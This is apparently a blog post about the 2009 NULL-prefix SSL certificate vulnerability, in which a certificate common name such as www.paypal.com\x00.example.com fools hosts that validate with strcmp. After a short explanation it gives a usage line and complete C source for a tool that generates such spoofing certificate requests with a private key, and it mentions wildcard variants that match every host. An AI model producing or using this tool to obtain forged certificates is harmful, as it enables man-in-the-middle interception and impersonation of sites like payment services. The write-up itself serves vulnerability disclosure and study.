The NULL certificate prefix bug
Before some months, at the Black Hat 2009, Moxie Marlinspikes and Dan Kaminsky presented a vulnerability that exists at some implementations of SSL.
It’s concept is pretty simple, you request a certificate having as a CN (common name) www.paypal.com\x00.example.com. This can be easy, especially for some public key infrastructures operated by companies for their internal needs, where server certificates are issued automatically as long as the CN is a host under a specific domain. However, since many SSL implementations use strcmp for validating the remote host, they will only check if the host is equal to the part before \x00! So a malicious user can simply issue such a certificate and using spoofing he can start a man in the middle attack. Furthermore, it is possible to issue a certificate with a CN such as *.paypal.com\x00.example.com which will match all hosts under the paypal.com domain. Or even the CN *\x00.example.com which will match… everything! Jacob Appelbaum has created such a certificate and posted it to the Noisebridge-discuss mailing list.
Firefox 3.5.2 and 3.0.13 have fixed this vulnerability, however I checked with the Internet Explorer browser today and it still has this bug. The test was done at a friend’s pc so I don’t know exactly the patches he has applied or when he last run windows update. It is very interesting that it probably uses the strcpy function for copying the value of CN to the buffer where it keeps the certificate information so when you try to see them, you only see www.paypal.com!
You can use the following program to create your own certificate requests. You run it as follows:
1 | $ ./gennullreq www.paypal.com exploit.example.com "Exploit department" "Example Organization" GR |
At the output you will get the private key and the certificate request.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 | /* * Generate certificate requests containing the NULL byte. * Default values are used, like 512 bits. * By Fotis Loukos <fotisl@gmail.com> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <openssl/bio.h> #include <openssl/x509v3.h> #include <openssl/rsa.h> #include <openssl/evp.h> #include <openssl/pem.h> #include <openssl/err.h> BIO *bio_err; void initssl() { CRYPTO_mem_ctrl(CRYPTO_MEM_CHECK_ON); bio_err = BIO_new_fp(stderr, BIO_NOCLOSE); } void finssl() { CRYPTO_cleanup_all_ex_data(); CRYPTO_mem_leaks(bio_err); BIO_free(bio_err); } int main(int argc, char **argv) { RSA *rsa; EVP_PKEY *privkey; X509_REQ *req; X509_NAME *name; char cn[256]; if(argc != 6) { fprintf(stderr, "usage: %s <fake> <append> <ou> <o> <c>\n", argv[0]); exit(1); } strncpy(cn, argv[1], 256); /* The next byte is already \x00 */ strncpy(cn + strlen(argv[1]) + 1, argv[2], 256 - strlen(argv[1]) - 1); initssl(); if((privkey = EVP_PKEY_new()) == NULL) { fprintf(stderr, "Cannot allocate memory for private key.\n"); finssl(); exit(1); } if((req = X509_REQ_new()) == NULL) { fprintf(stderr, "Cannot allocate memory for certificate request.\n"); finssl(); exit(1); } fprintf(stderr, "Generating RSA keypair...\n"); if((rsa = RSA_generate_key(512, RSA_F4, NULL, NULL)) == NULL) { fprintf(stderr, "Cannot generate keypair:\n"); fprintf(stderr, "%s\n", ERR_error_string(ERR_get_error(), NULL)); finssl(); exit(1); } if(!EVP_PKEY_assign_RSA(privkey, rsa)) { fprintf(stderr, "Cannot assign keypair to private key.\n"); finssl(); exit(1); } X509_REQ_set_pubkey(req, privkey); name = X509_REQ_get_subject_name(req); X509_NAME_add_entry_by_txt(name, "C", MBSTRING_ASC, argv[5], -1, -1, 0); X509_NAME_add_entry_by_txt(name, "O", MBSTRING_ASC, argv[4], -1, -1, 0); X509_NAME_add_entry_by_txt(name, "OU", MBSTRING_ASC, argv[3], -1, -1, 0); X509_NAME_add_entry_by_txt(name, "CN", MBSTRING_ASC, cn, strlen(argv[1]) + 1 + strlen(argv[2]), -1, 0); if(!X509_REQ_sign(req, privkey, EVP_sha1())) { fprintf(stderr, "Cannot sign request.\n"); finssl(); exit(1); } fprintf(stderr, "Private key:\n"); PEM_write_RSAPrivateKey(stdout, rsa, NULL, NULL, 0, NULL, NULL); fprintf(stderr, "Request:\n"); PEM_write_X509_REQ(stdout, req); X509_REQ_free(req); EVP_PKEY_free(privkey); finssl(); return 0; } |
